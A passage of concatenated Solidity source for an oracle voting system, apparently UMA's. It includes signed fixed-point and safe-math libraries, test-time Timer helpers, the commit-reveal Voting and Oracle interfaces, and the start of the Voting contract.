Signed(a.rawValue.mul(b)); } /** * @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 mulRaw = a.rawValue.mul(b.rawValue); int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR; // Manual mod because SignedSafeMath doesn't support it. int256 mod = mulRaw % SFP_SCALING_FACTOR; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(mulTowardsZero.add(valueToAdd)); } else { return Signed(mulTowardsZero); } } /** * @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Signed(a.rawValue.mul(b)); } /** * @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as an int256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, int256 b) internal pure returns (Signed memory) { return Signed(a.rawValue.div(b)); } /** * @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a an int256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(int256 a, Signed memory b) internal pure returns (Signed memory) { return div(fromUnscaledInt(a), b); } /** * @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR); int256 divTowardsZero = aScaled.div(b.rawValue); // Manual mod because SignedSafeMath doesn't support it. int256 mod = aScaled % b.rawValue; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(divTowardsZero.add(valueToAdd)); } else { return Signed(divTowardsZero); } } /** * @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) { // Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))" // similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed. // This creates the possibility of overflow if b is very large. return divAwayFromZero(a, fromUnscaledInt(b)); } /** * @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint.Signed. * @param b a uint256 (negative exponents are not allowed). * @return output is `a` to the power of `b`. */ function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) { output = fromUnscaledInt(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/VotingInterface.sol"; // A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data. abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable { using FixedPoint for FixedPoint.Unsigned; // Events, data structures and functions not exported in the base interfaces, used for testing. event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } function rounds(uint256 roundId) public view virtual returns (Round memory); function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests) public view virtual returns (RequestState[] memory); function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "./Timer.sol"; /** * @title Base class that provides time overrides, but only if being run in test mode. */ abstract contract Testable { // If the contract is being run on the test network, then `timerAddress` will be the 0x0 address. // Note: this variable should be set on construction and never modified. address public timerAddress; /** * @notice Constructs the Testable contract. Called by child contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor(address _timerAddress) internal { timerAddress = _timerAddress; } /** * @notice Reverts if not running in test mode. */ modifier onlyIfTest { require(timerAddress != address(0x0)); _; } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set current Testable time to. */ function setCurrentTime(uint256 time) external onlyIfTest { Timer(timerAddress).setCurrentTime(time); } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { if (timerAddress != address(0x0)) { return Timer(timerAddress).getCurrentTime(); } else { return now; // solhint-disable-line not-rely-on-time } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OracleInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) public virtual; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "./VotingAncillaryInterface.sol"; /** * @title Interface that voters must use to Vote on price request resolutions. */ abstract contract VotingInterface { struct PendingRequest { bytes32 identifier; uint256 time; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct Commitment { bytes32 identifier; uint256 time; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct Reveal { bytes32 identifier; uint256 time; int256 price; int256 salt; } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] memory commits) public virtual; /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] memory reveals) public virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external view virtual returns (VotingAncillaryInterface.PendingRequestAncillary[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view virtual returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); // Voting Owner functions. /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external virtual; /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual; /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual; /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual; } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Universal store of current contract time for testing environments. */ contract Timer { uint256 private currentTime; constructor() public { currentTime = now; // solhint-disable-line not-rely-on-time } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set `currentTime` to. */ function setCurrentTime(uint256 time) external { currentTime = time; } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint256 for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { return currentTime; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that voters must use to Vote on price request resolutions. */ abstract contract VotingAncillaryInterface { struct PendingRequestAncillary { bytes32 identifier; uint256 time; bytes ancillaryData; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct CommitmentAncillary { bytes32 identifier; uint256 time; bytes ancillaryData; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct RevealAncillary { bytes32 identifier; uint256 time; int256 price; bytes ancillaryData; int256 salt; } // Note: the phases must be in order. Meaning the first enum value must be the first phase, etc. // `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last. enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) public virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(CommitmentAncillary[] memory commits) public virtual; /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash, bytes memory encryptedVote ) public virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) public virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(RevealAncillary[] memory reveals) public virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view virtual returns (Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view virtual returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequestAncillary[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); // Voting Owner functions. /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external virtual; /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual; /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual; /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual; } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/VotingInterface.sol"; import "../interfaces/VotingAncillaryInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "./Registry.sol"; import "./ResultComputation.sol"; import "./VoteTiming.sol"; import "./VotingToken.sol"; import "./Constants.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; /** * @title Voting system for Oracle. * @dev Handles receiving and resolving price requests via a commit-reveal voting scheme. */ contract Voting is Testable, Ownable, OracleInterface, OracleAncillaryInterface, // Interface to support ancillary data with price requests. VotingInterface, VotingAncillaryInterface // Interface to support ancillary data with voting rounds. { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using VoteTiming for VoteTiming.Data; using ResultComputation for ResultComputation.Data; /**************************************** * VOTING DATA STRUCTURES * ****************************************/ // Identifies a unique price request for which the Oracle will always return the same value. // Tracks ongoing votes as well as the result of the vote. struct PriceRequest { bytes32 identifier; uint256 time; // A map containing all votes for this price in various rounds. mapping(uint256 => VoteInstance) voteInstances; // If in the past, this was the voting round where this price was resolved. If current or the upcoming round, // this is the voting round where this price will be voted on, but not necessarily resolved. uint256 lastVotingRound; // The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that // this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`. uint256 index; bytes ancillaryData; } struct VoteInstance { // Maps (voterAddress) to their submission. mapping(address => VoteSubmission) voteSubmissions; // The data structure containing the computed voting results. ResultComputation.Data resultComputation; } struct VoteSubmission { // A bytes32 of `0` indicates no commit or a commit that was already revealed. bytes32 commit; // The hash of the value that was revealed. // Note: this is only used for computation of rewards. bytes32 revealHash; } struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } /**************************************** * INTERNAL TRACKING * ****************************************/ // Maps round numbers to the rounds. mapping(uint256 => Round) public rounds; // Maps price request IDs to the PriceRequest struct. mapping(bytes32 => PriceRequest) private priceRequests; // Price request ids for price requests that haven't yet been marked as resolved. // These requests may be for future rounds. bytes32[] internal pendingPriceRequests; VoteTiming.Data public voteTiming; // Percentage of the total token supply that must be used in a vote to // create a valid price resolution. 1 == 100%. FixedPoint.Unsigned public gatPercentage; // Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that // should be split among the correct voters. // Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%. FixedPoint.Unsigned public inflationRate; // Time in seconds from the end of the round in which a price request is // resolved that voters can still claim their rewards. uint256 public rewardsExpirationTimeout; // Reference to the voting token. VotingToken public votingToken; // Reference to the Finder. FinderInterface private finder; // If non-zero, this contract has been migrated to this address. All voters and // financial contracts should query the new address only. address public migratedAddress; // Max value of an unsigned integer. uint256 private constant UINT_MAX = ~uint256(0); // Max length in bytes of ancillary data that can be appended to a price request. // As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily // comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to // storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function // well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here: // - https://etherscan.io/chart/gaslimit // - https://github.com/djrtwo/evm-opcode-gas-costs uint256 public constant ancillaryBytesLimit = 8192; bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot"))); /*************************************** * EVENTS * ****************************************/ event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); /** * @notice Construct the Voting contract. * @param _phaseLength length of the commit and reveal phases in seconds. * @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution. * @param _inflationRate percentage inflation per round used to increase token supply of correct voters. * @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed. * @param _votingToken address of the UMA token contract used to commit votes. * @param _finder keeps track of all contracts within the system based on their interfaceName. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Testable(_timerAddress) { voteTiming.init(_phaseLength); require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%"); gatPercentage = _gatPercentage; inflationRate = _inflationRate; votingToken = VotingToken(_votingToken); finder = FinderInterface(_finder); rewardsExpirationTimeout = _rewardsExpirationTimeout; } /*************************************** MODIFIERS ****************************************/ modifier onlyRegisteredContract() { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Caller must be migrated address"); } else { Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); 